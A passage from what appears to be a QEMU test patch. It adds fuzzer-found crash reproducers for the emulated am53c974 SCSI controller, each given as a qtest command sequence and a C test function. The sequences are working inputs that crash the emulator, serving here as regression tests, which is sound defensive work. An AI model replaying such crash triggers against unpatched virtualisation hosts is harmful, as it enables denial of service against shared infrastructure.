./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outl 0xc007 0x2000 ++ * outw 0xc00b 0x0100 ++ * outw 0xc00c 0x43 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00c 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x100000 ++ * outl 0xc00a 0x100000 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x43 ++ * outl 0xc00a 0x100000 ++ * outl 0xc00a 0x100000 ++ * EOF ++ */ ++static void crash_1b42581317(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outl(s, 0xc007, 0x2000); ++ qtest_outw(s, 0xc00b, 0x0100); ++ qtest_outw(s, 0xc00c, 0x43); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x43); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outl 0xc007 0x1500 ++ * outw 0xc00b 0x4100 ++ * outw 0xc00b 0x4100 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x00 ++ * outw 0xc00b 0x1000 ++ * outw 0xc009 0x00 ++ * outl 0xc00b 0xc000 ++ * outl 0xc00b 0xc000 ++ * outl 0xc00b 0xc000 ++ * outl 0xc00b 0xc000 ++ * outl 0xc00b 0x0 ++ * outl 0xc00b 0xc000 ++ * outl 0xc00b 0xc000 ++ * outl 0xc00b 0xc000 ++ * outl 0xc007 0x00 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x1000 ++ * outl 0xc007 0x00 ++ * outw 0xc00b 0x4100 ++ * EOF ++ */ ++static void crash_30e28cfa86(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outl(s, 0xc007, 0x1500); ++ qtest_outw(s, 0xc00b, 0x4100); ++ qtest_outw(s, 0xc00b, 0x4100); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x1000); ++ qtest_outw(s, 0xc009, 0x00); ++ qtest_outl(s, 0xc00b, 0xc000); ++ qtest_outl(s, 0xc00b, 0xc000); ++ qtest_outl(s, 0xc00b, 0xc000); ++ qtest_outl(s, 0xc00b, 0xc000); ++ qtest_outl(s, 0xc00b, 0x0); ++ qtest_outl(s, 0xc00b, 0xc000); ++ qtest_outl(s, 0xc00b, 0xc000); ++ qtest_outl(s, 0xc00b, 0xc000); ++ qtest_outl(s, 0xc007, 0x00); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x1000); ++ qtest_outl(s, 0xc007, 0x00); ++ qtest_outw(s, 0xc00b, 0x4100); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outb 0xc008 0x42 ++ * outw 0xc00b 0x4100 ++ * outw 0xc00b 0x4100 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x1000 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outl 0xc00b 0x0300 ++ * outw 0xc00b 0x1000 ++ * EOF ++ */ ++static void crash_34093bfc7c(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outb(s, 0xc008, 0x42); ++ qtest_outw(s, 0xc00b, 0x4100); ++ qtest_outw(s, 0xc00b, 0x4100); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x1000); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_outw(s, 0xc00b, 0x1000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outw 0xc000 0x1 ++ * outb 0xc040 0x03 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outw 0xc007 0xa000 ++ * outl 0xc00a 0x410000 ++ * EOF ++ */ ++static void crash_3a05434a1f(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outw(s, 0xc000, 0x1); ++ qtest_outb(s, 0xc040, 0x03); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outw(s, 0xc007, 0xa000); ++ qtest_outl(s, 0xc00a, 0x410000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outw 0xc000 0x01 ++ * outb 0xc040 0x03 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0x4200 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0x4000 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * EOF ++ */ ++static void crash_3ab5744bc3(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outw(s, 0xc000, 0x01); ++ qtest_outb(s, 0xc040, 0x03); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0x4200); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0x4000); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outl 0xc00b 0x4100 ++ * outw 0xc00b 0xc200 ++ * outl 0xc03f 0x0300 ++ * EOF ++ */ ++static void crash_530ff2e211(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outl(s, 0xc00b, 0x4100); ++ qtest_outw(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc03f, 0x0300); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outl 0xc03f 0x0300 ++ * outw 0xc00b 0x4300 ++ * outw 0xc000 0x01 ++ * outw 0xc009 0x00 ++ * outw 0xc00b 0x1000 ++ * outl 0xc00d 0x02000000 ++ * outw 0xc00c 0xc2 ++ * outw 0xc00b 0x4100 ++ * outl 0xc00b 0x1000 ++ * EOF ++ */ ++static void crash_76ab101171(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outl(s, 0xc03f, 0x0300); ++ qtest_outw(s, 0xc00b, 0x4300); ++ qtest_outw(s, 0xc000, 0x01); ++ qtest_outw(s, 0xc009, 0x00); ++ qtest_outw(s, 0xc00b, 0x1000); ++ qtest_outl(s, 0xc00d, 0x02000000); ++ qtest_outw(s, 0xc00c, 0xc2); ++ qtest_outw(s, 0xc00b, 0x4100); ++ qtest_outl(s, 0xc00b, 0x1000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outb 0xc000 0x4 ++ * outw 0xc007 0x4000 ++ * outl 0xc03f 0x0300 ++ * outl 0xc00b 0xc300 ++ * outw 0xc00b 0x9000 ++ * outl 0xc00b 0xc300 ++ * outw 0xc00b 0x9000 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0xc300 ++ * outw 0xc00b 0x9000 ++ * outw 0xc00b 0x1000 ++ * EOF ++ */ ++static void crash_7f743a0082(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outb(s, 0xc000, 0x4); ++ qtest_outw(s, 0xc007, 0x4000); ++ qtest_outl(s, 0xc03f, 0x0300); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outw(s, 0xc00b, 0x9000); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outw(s, 0xc00b, 0x9000); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outw(s, 0xc00b, 0x9000); ++ qtest_outw(s, 0xc00b, 0x1000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outb 0xc000 0x4 ++ * outl 0xc03f 0x0300 ++ * outl 0xc00b 0xc300 ++ * outw 0xc00b 0x9000 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0xc300 ++ * outw 0xc00b 0x9000 ++ * outl 0xc00b 0x00 ++ * outl 0xc00b 0xc300 ++ * outl 0xc00b 0xc300 ++ * outw 0xc00b 0x9000 ++ * outw 0xc00b 0x1000 ++ * EOF ++ */ ++static void crash_87744a2e67(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outb(s, 0xc000, 0x4); ++ qtest_outl(s, 0xc03f, 0x0300); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outw(s, 0xc00b, 0x9000); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outw(s, 0xc00b, 0x9000); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outw(s, 0xc00b, 0x9000); ++ qtest_outw(s, 0xc00b, 0x1000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outw 0xc00c 0x41 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x43 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00c 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x100000 ++ * outl 0xc00a 0x100000 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x43 ++ * outl 0xc00a 0x100000 ++ * outl 0xc00a 0x100000 ++ * EOF ++ */ ++static void crash_9f92a77bd6(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outw(s, 0xc00c, 0x41); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x43); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x43); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outb 0xc008 0xa ++ * outw 0xc00b 0x4100 ++ * outw 0xc00b 0x4100 ++ * outw 0xc00b 0x1000 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x0400 